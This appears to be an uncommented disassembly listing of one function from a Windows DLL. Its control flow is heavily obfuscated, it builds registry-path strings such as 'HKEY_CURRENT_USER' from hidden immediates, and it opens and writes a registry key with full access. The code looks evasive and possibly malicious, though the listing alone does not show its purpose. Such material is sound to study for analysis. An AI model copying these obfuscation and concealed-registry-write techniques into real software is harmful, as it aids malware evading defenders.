call qword [sym.imp.USER32.dll_CharPrevExA]
mov dword [rsp + 0x70], 1
jmp case.0x18002bfca.141
mov byte [rbp + 0xcc], 0
jmp case.0x18002bfca.141
movzx eax, word [0x1800b1e70]
mov word [rbp + 0xc8], ax
movzx eax, byte [0x1800b1e72]
mov byte [rbp + 0xca], al
jmp case.0x18002bfca.141
mov r15d, 0x68e
jmp case.0x18002bfca.141
xor ecx, ecx
lea r8, [rbp + 0xcc]
xor r9d, r9d
lea rdx, [rbp + 0xc8]
call qword [sym.imp.USER32.dll_CharPrevExA]
xor ecx, ecx
lea r8, [rbp + 0xcd]
xor r9d, r9d
lea rdx, [rbp + 0xc8]
call qword [sym.imp.USER32.dll_CharPrevExA]
jmp case.0x18002bfca.141
movzx eax, word [0x1800b1e74]
mov word [rbp + 0xcc], ax
movzx eax, byte [0x1800b1e76]
mov byte [rbp + 0xce], al
jmp case.0x18002bfca.141
xor ecx, ecx
lea r8, [rbp + 0xcb]
xor r9d, r9d
lea rdx, [rbp + 0xc8]
call qword [sym.imp.USER32.dll_CharPrevExA]
jmp case.0x18002bfca.141
xor ecx, ecx
lea r8, [rbp + 0xc9]
xor r9d, r9d
lea rdx, [rbp + 0xc8]
call qword [sym.imp.USER32.dll_CharPrevExA]
xor ecx, ecx
lea r8, [rbp + 0xca]
xor r9d, r9d
lea rdx, [rbp + 0xc8]
call qword [sym.imp.USER32.dll_CharPrevExA]
jmp case.0x18002bfca.141
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x18002c127.12
cdqe
movzx eax, byte [rdx + rax + 0x2d530]
mov ecx, dword [rdx + rax*4 + 0x2d520]
add rcx, rdx
jmp rcx
mov ecx, 0x38
nop
mov eax, ecx
sub eax, 0x37
je 0x18002c1a6
cmp eax, 1
jne 0x18002c144
mov qword [r10 + 8], rbx
dec ecx
cmp ecx, 0x36
ja 0x18002c130
mov edi, 0x73
cmp edi, 0x16e9
ja 0x18002c232
je 0x18002c20d
cmp edi, 0x73
je 0x18002c1fe
cmp edi, 0x4f1
je 0x18002c1ed
cmp edi, 0x96f
je 0x18002c1c8
cmp edi, 0xded
je 0x18002c1b2
cmp edi, 0x126b
jne 0x18002c2d6
mov dword [rbp + 0x116], 0x470046
jmp 0x18002c2d6
mov dword [r10], 1
jmp case.0x18002c127.9
movabs rax, 0x45004400430042
mov qword [rbp + 0x10e], rax
jmp 0x18002c2d6
mov r8d, 1
mov word [rbp + 0x10c], bx
lea rdx, [0x1800b1ea0]
lea rcx, [rbp + 0x10c]
call fcn.180088aec
jmp 0x18002c2d6
mov eax, 0x21
mov word [rbp + 0x10a], ax
jmp 0x18002c2d6
mov dword [rbp + 0x108], 0x5f
jmp 0x18002c2d6
mov r8d, 1
mov word [rbp + 0x11a], bx
lea rdx, [0x1800b1fa2]
lea rcx, [rbp + 0x11a]
call fcn.180088aec
jmp 0x18002c2d6
cmp edi, 0x1b67
je 0x18002c2cf
cmp edi, 0x1fe5
je 0x18002c281
cmp edi, 0x2463
je 0x18002c264
cmp edi, 0x28e1
je case.0x18002c127.9
jmp 0x18002c2d6
lea rdx, [rbp + 0xd0]
mov dword [r10], 0x1a
lea rcx, [rbp + 0x108]
call qword [sym.imp.SHLWAPI.dll_StrTrimW]
jmp 0x18002c2d6
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 8]
test rax, rax
je 0x18002c294
call rax
movsd xmm0, qword [str.A__]
lea r8, [rbp + 0xd0]
mov eax, dword [0x1800b1ed0]
lea rdx, [rbp + 0x13c]
lea rcx, [rbp + 0x130]
movsd qword [rbp + 0x130], xmm0
mov dword [rbp + 0x138], eax
call fcn.180074be0
jmp 0x18002c2d6
mov word [rbp + 0x11c], bx
mov r10, qword [rsp + 0x58]
add edi, 0x47e
cmp edi, 0x2cec
jbe 0x18002c150
movzx r11d, byte [rsp + 0x60]
lea rdx, [0x180000000]
mov esi, 0xd
mov dword [rbp - 0x68], esi
cmp esi, 0xd
ja case.default.0x18002c317
mov eax, esi
mov ecx, dword [rdx + rax*4 + 0x2d5a8]
add rcx, rdx
jmp rcx
mov dword [rsp + 0x70], 7
jmp case.default.0x18002c317
mov eax, 0x55
mov dword [rbp + 0xfc], 0x450053
mov word [rbp + 0xfa], ax
jmp case.default.0x18002c317
mov eax, 0x52
mov dword [rbp + 0xf0], 0x450052
mov word [rbp + 0xee], ax
jmp case.default.0x18002c317
mov word [rbp + 0x102], bx
jmp case.default.0x18002c317
mov dword [rbp + 0xe4], 0x590045
jmp case.default.0x18002c317
mov eax, 0x5f
mov dword [rbp + 0xf4], 0x54004e
mov word [rbp + 0xf8], ax
jmp case.default.0x18002c317
mov eax, 0x55
mov dword [rbp + 0xe8], 0x43005f
mov word [rbp + 0xec], ax
jmp case.default.0x18002c317
mov edx, dword [rbp + 0x60]
lea r9, [rbp - 0x60]
xor r8d, r8d
mov dword [rsp + 0x20], ebx
lea rcx, [rbp + 0xe0]
call qword [sym.imp.SHLWAPI.dll_SHRegOpenUSKeyW]
mov dword [rbp + 0x68], eax
jmp 0x18002c4b2
mov eax, 0x52
mov word [rbp + 0x100], ax
jmp case.default.0x18002c317
mov r11b, 1
mov byte [rsp + 0x60], r11b
jmp case.default.0x18002c317
mov dword [rbp + 0x60], 0xf003f
jmp case.default.0x18002c317
mov dword [rbp + 0xe0], 0x4b0048
jmp case.default.0x18002c317
cmp dword [rbp + 0x68], 0
mov ecx, ebx
movzx eax, r11b
cmove ecx, eax
mov byte [rsp + 0x60], cl
movzx r11d, cl
test cl, cl
je case.default.0x18002c317
mov esi, dword [rbp - 0x78]
mov edi, 0x2f
nop
cmp edi, 0x2f
je 0x18002c496
cmp edi, 0x3ac
je 0x18002c48f
cmp edi, 0x729
je 0x18002c46c
cmp edi, 0xaa6
jne 0x18002c499
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.SHLWAPI.dll_SHRegCloseUSKey]
jmp 0x18002c499
mov rcx, qword [rbp - 0x60]
xor r9d, r9d
mov dword [rsp + 0x28], 1
mov r8d, r14d
xor edx, edx
mov dword [rsp + 0x20], esi
call qword [sym.imp.SHLWAPI.dll_SHRegWriteUSValueW]
jmp 0x18002c499
mov esi, ebx
jmp 0x18002c499
mov r14d, ebx
add edi, 0x37d
cmp edi, 0xdf4
jbe 0x18002c430
mov dword [rbp - 0x78], esi
mov esi, dword [rbp - 0x68]
mov dword [rsp + 0x54], r14d
movzx r11d, byte [rsp + 0x60]
dec esi
lea rdx, [0x180000000]
mov dword [rbp - 0x68], esi
lea eax, [rsi + 0x66]
cmp eax, 0x65
ja 0x18002c302
mov edi, 0xe1
mov r10, qword [rsp + 0x58]
add edi, 0x10
movzx r11d, byte [rsp + 0x60]
cmp edi, 0x141
jb 0x18002bfa0
jmp 0x18002cc04
mov eax, r15d
sub eax, 0x6ee
je 0x180029406
sub eax, 0x60
je 0x1800294cd
sub eax, 0x60
je 0x18002c538
sub eax, 0x60
je 0x18002c52b
cmp eax, 0x60
je case.0x18002c317.0
jmp 0x18002cc04
mov dword [rsp + 0x70], 0xa
jmp 0x18002cc04
mov eax, 0xb9
nop dword [rax]
cmp eax, 0xb9
je 0x18002c579
cmp eax, 0x2594
je 0x18002c566
cmp eax, 0x4a6f
je case.0x18002c317.0
jmp 0x18002cad5
mov r15d, 0x7ae
mov dword [rsp + 0x70], 1
jmp 0x18002cad5
movsx eax, byte [rbx]
add eax, 0xfffffff7
cmp eax, 0x72
ja case.0x18002c5a3.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x2d60c]
mov ecx, dword [rdx + rax*4 + 0x2d5e0]
add rcx, rdx
jmp rcx
mov eax, 0x15
nop word [rax + rax]
cmp eax, 0x15
je 0x18002c5c7
cmp eax, 0x36
je case.0x18002c5a3.9
jmp 0x18002c5d2
mov dword [r10], 1
mov qword [r10 + 8], rbx
add eax, 0x21
cmp eax, 0x57
jb 0x18002c5b0
mov edi, 0x37
nop
mov eax, edi
sub eax, 0x35
je case.0x18002c5a3.9
sub eax, 1
je 0x18002c614
cmp eax, 1
jne 0x18002c61b
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
test rax, rax
je 0x18002c61b
call rax
jmp 0x18002c61b
mov dword [r10], 0x19
mov r10, qword [rsp + 0x58]
dec edi
cmp edi, 0x34
ja 0x18002c5e0
mov edi, 2
nop dword [rax]
cmp edi, 2
je 0x18002c647
cmp edi, 0x6e
je case.0x18002c5a3.9
jmp 0x18002c65a
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x10]
test rax, rax
je 0x18002c65a
call rax
add edi, 0x6c
cmp edi, 0xd8
jbe 0x18002c630
movzx r9d, byte [rsp + 0x68]
mov eax, 0xb9
cmp eax, 0xb9
je 0x18002c6d1
inc eax
cmp eax, 0xba
jb 0x18002c670
mov esi, 0x48
nop word [rax + rax]
cmp esi, 0x4650
ja 0x18002c723
je 0x18002c709
cmp esi, 0x48
je 0x18002c6fc
cmp esi, 0x17a0
je 0x18002c6e1
cmp esi, 0x2ef8
jne 0x18002c7ac
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.dbghelp.dll_SymInitialize]
mov dword [rbp + 0x58], eax
jmp 0x18002c7a6
mov rax, qword [rsp + 0x58]
mov dword [rax], 7
jmp case.0x18002c5a3.9
mov rax, qword [rsp + 0x58]
mov r12, 0xffffffffffffffff
mov qword [rbp - 0x48], r12
mov dword [rax], 0xa
jmp 0x18002c7ac
mov r9b, 1
mov byte [rsp + 0x68], r9b
jmp 0x18002c7ac
cmp dword [rbp + 0x58], 0
mov ecx, ebx
movzx eax, r9b
cmovne ecx, eax
movzx r9d, cl
mov byte [rsp + 0x68], cl
jmp 0x18002c7ac
cmp esi, 0x5da8
je 0x18002c73d
cmp esi, 0x7500
je case.0x18002c5a3.9
jmp 0x18002c7ac
test r9b, r9b
je 0x18002c7ac
mov edi, 0x7c
lea ebx, [rdi - 0x5c]
nop word [rax + rax]
mov eax, edi
sub eax, 0x7c
je 0x18002c782
cmp eax, 0x44
jne 0x18002c799
lea rdx, [rbp + 0xe0]
mov rcx, r12
call qword [sym.imp.dbghelp.dll_SymGetSymPrev64]
mov rcx, r12
call qword [sym.imp.dbghelp.dll_SymCleanup]
jmp 0x18002c799
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov dword [rbp + 0xe0], ebx
movups xmmword [rbp + 0xf0], xmm0
add edi, 0x44
cmp edi, 0x104
jb 0x18002c750
xor ebx, ebx
movzx r9d, byte [rsp + 0x68]
add esi, 0x1758
cmp esi, 0x8c10
jbe 0x18002c690
mov eax, 0x5d
cmp eax, 0x5d
je 0x18002c804
add eax, 0x17
cmp eax, 0x74
jb 0x18002c7c3
mov edi, 0xb8
nop dword [rax]
mov eax, edi
sub eax, 0xb8
je 0x18002c86a
sub eax, 1
je 0x18002c814
cmp eax, 1
je case.0x18002c5a3.9
jmp 0x18002c8c8
mov rax, qword [rsp + 0x58]
mov dword [rax], 0xe
jmp case.0x18002c5a3.9
mov rax, qword [rsp + 0x58]
lea r8, [rbp + 0x30]
mov edx, 0x30
mov byte [rbp + 0x30], 0x30
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x18002c8c8
mov ecx, 0x98
nop dword [rax]
mov eax, ecx
sub eax, 0x97
je case.0x18002c317.0
cmp eax, 1
jne 0x18002c85e
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0x96
ja 0x18002c840
jmp 0x18002c8c8
mov rsi, qword [rsp + 0x58]
lea rcx, [rbp - 0x38]
mov edx, 0x79
mov qword [rbp - 0x38], 5
mov dword [rsi], 0x11
call fcn.18001b550
mov qword [rsi + 8], rax
test rax, rax
jne 0x18002c8c8
mov ecx, 0x3f
nop dword [rax]
mov eax, ecx
sub eax, 0x3f
je 0x18002c8b9
cmp eax, 1
je case.0x18002c317.0
jmp 0x18002c8c1
mov dword [rsp + 0x70], 6
inc ecx
cmp ecx, 0x41
jb 0x18002c8a0
inc edi
cmp edi, 0xbb
jb 0x18002c7e0
mov edi, 0x7c
nop dword [rax + rax]
mov eax, edi
sub eax, 0x7a
je case.0x18002c5a3.9
sub eax, 1
je 0x18002c95d
cmp eax, 1
jne 0x18002c9a0
mov rsi, qword [rsp + 0x58]
lea rcx, [rbp - 0x38]
mov eax, 0x18
mov qword [rbp - 0x38], 5
mov dword [rsi], eax
lea edx, [rax + 0x61]
call fcn.18001b550
mov qword [rsi + 8], rax
test rax, rax
jne 0x18002c9a0
mov ecx, 0xa2
nop word [rax + rax]
mov eax, ecx
sub eax, 0xa1
je case.0x18002c317.0
cmp eax, 1
jne 0x18002c94e
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0xa0
ja 0x18002c930
jmp 0x18002c9a0
movzx eax, byte [rbx]
lea r8, [rbp + 0x28]
mov byte [rbp + 0x28], al
mov edx, 0x30
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je 0x18002c9a0
mov eax, 0x7e
nop dword [rax + rax]
cmp eax, 0x7e
je 0x18002cc37
inc eax
cmp eax, 0x7f
jb 0x18002c990
dec edi
cmp edi, 0x79
ja 0x18002c8e0
mov edi, 0xc6
mov eax, edi
sub eax, 0xc6
je 0x18002ca18
cmp eax, 0xc
jne 0x18002ca78
lea edx, [rax + 0x24]
mov byte [rbp + 0x50], 0x2d
mov rax, qword [rsp + 0x58]
lea r8, [rbp + 0x50]
mov rcx, qword [rax + 8]
call fcn.180072e90
cmp eax, 1
je case.0x18002c5a3.9
mov ecx, 0x15
nop dword [rax]
mov eax, ecx
sub eax, 0x14
je case.0x18002c317.0
cmp eax, 1
jne 0x18002ca0c
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0x13
ja 0x18002c9f0
jmp case.0x18002c5a3.9
mov rsi, qword [rsp + 0x58]
lea rcx, [rbp - 0x38]
mov edx, 0x79
mov qword [rbp - 0x38], 8
mov dword [rsi], 0x17
call fcn.18001b550
mov qword [rsi + 8], rax
test rax, rax
jne 0x18002ca78
mov ecx, 0xaa
nop dword [rax + rax]
mov eax, ecx
sub eax, 0xa9
je case.0x18002c317.0
cmp eax, 1
jne 0x18002ca6e
mov dword [rsp + 0x70], 6
dec ecx
cmp ecx, 0xa8
ja 0x18002ca50
add edi, 0xc
cmp edi, 0xde
jb 0x18002c9b0
mov eax, IUnknown_AtomicRelease
nop dword [rax]
cmp eax, 0xa7
je 0x18002cab6
cmp eax, 0x12eb
je case.0x18002c317.0
cmp eax, 0x252f
je case.0x18002c5a3.9
jmp 0x18002cabe
mov dword [rsp + 0x70], 7
add eax, 0x1244
cmp eax, 0x36cc
jbe 0x18002ca90
movzx r9d, byte [rsp + 0x68]
mov eax, 0xb9
mov r10, qword [rsp + 0x58]
add eax, 0x24db
cmp eax, 0x6e91
jbe 0x18002c540
jmp 0x18002cc04
mov eax, 0xa
cmp eax, 0xa
je 0x18002cb2b
inc eax
cmp eax, 0xb
jb 0x18002caf4
mov edi, 0x82
nop dword [rax]
mov eax, edi
sub eax, 0x82
je 0x18002cb48
cmp eax, 1
je case.0x180029460.9
jmp 0x18002cb5b
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 8]
test rax, rax
je case.0x180029460.9
call rax
mov ecx, 0x34
jmp 0x18002cbf3
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x18]
test rax, rax
je 0x18002cb5b
call rax
inc edi
cmp edi, 0x84
jb 0x18002cb10
mov edi, 0x91
nop word [rax + rax]
mov eax, edi
sub eax, 0x91
je 0x18002cb87
cmp eax, 0x11
je case.0x180029460.9
jmp 0x18002cba5
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x50]
test rax, rax
je 0x18002cb9a
call rax
mov rax, qword [rsp + 0x58]
mov dword [rax], 0x1b
add edi, 0x11
cmp edi, 0xb3
jb 0x18002cb70
mov ecx, 0x1e
mov eax, ecx
sub eax, 0x1c
je case.0x180029460.9
sub eax, 1
je case.0x18002c317.0
cmp eax, 1
jne 0x18002cbda
mov dword [rsp + 0x70], 7
dec ecx
cmp ecx, 0x1b
ja 0x18002cbb5
mov ecx, 0x34
jmp 0x18002cbf3
mov dword [rsp + 0x70], 1
dec ecx
mov r15d, 0x6ee
cmp ecx, 0x30
ja 0x180029410
mov r10, qword [rsp + 0x58]
add r15d, 0x60
movzx esi, byte [rsp + 0x50]
mov r12, qword [rbp - 0x48]
mov r13, qword [rbp + 0xc0]
mov r14d, dword [rsp + 0x54]
mov edi, dword [rsp + 0x78]
movzx r9d, byte [rsp + 0x68]
movzx r11d, byte [rsp + 0x60]
jmp 0x18002993c
mov dword [rsp + 0x70], 6
jmp case.0x18002c317.0
mov dword [rsp + 0x70], 7
mov rax, qword [rsp + 0x70]
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1800803f0
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x460
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret